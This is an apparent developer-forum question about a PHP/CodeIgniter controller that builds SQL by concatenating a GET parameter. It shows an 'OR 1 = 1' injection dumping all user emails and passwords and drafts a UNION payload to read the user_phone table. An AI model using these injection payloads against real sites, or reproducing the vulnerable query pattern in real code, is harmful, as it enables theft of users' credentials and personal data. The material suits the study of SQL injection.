I have this code on my controller:
$sql = "SELECT * FROM user WHERE id = " . $this->input->get('foo');
$foo = $this->db->query($sql);
echo '<pre>';
print_r($foo->result());
echo '</pre>';
die();
I've noticed that if I use this URL:
www.site.com?foo=1 OR 1 = 1
all data of the user table is shown:
Array
(
[0] => stdClass Object
(
[id] => 1
[email] => [email protected]
[password] => aaa
)
[1] => stdClass Object
(
[id] => 1
[email] => [email protected]
[password] => bbb
)
[2] => stdClass Object
(
[id] => 1
[email] => [email protected]
[password] => ccc
)
)
Is it possible to run another query that returns the data from the user_phone table?
Tables:
CREATE TABLE `user` (
`id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`email` VARCHAR(100) NOT NULL,
`password` VARCHAR(255) NOT NULL
PRIMARY KEY (`id`),
) ENGINE=INNODB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8
CREATE TABLE `user_phone` (
`id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
`id_user` INT(11) UNSIGNED NOT NULL,
`number` INT(11) UNSIGNED NOT NULL
PRIMARY KEY (`id`)
) ENGINE=INNODB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8
Data:
INSERT INTO `user`(`email`,`password`) VALUES ('[email protected]','aaa');
INSERT INTO `user`(`email`,`password`) VALUES ('[email protected]','bbb');
INSERT INTO `user`(`email`,`password`) VALUES ('[email protected]','ccc');
INSERT INTO `user_phone`(`id_user`,`number`) VALUES ('1','911911911');
INSERT INTO `user_phone`(`id_user`,`number`) VALUES ('1','922922922');
INSERT INTO `user_phone`(`id_user`,`number`) VALUES ('2','955955955');
INSERT INTO `user_phone`(`id_user`,`number`) VALUES ('3','711711711');
Thks
EDIT:
I'm aware of the existing mechanisms to prevent this from happening.
My question is if it's possible, and how, can I get data from other tables.
I think it's going to be like this.
www.site.com?foo=1 OR 1 = 1 union select * from user_phone where user_phone.id_user = user.id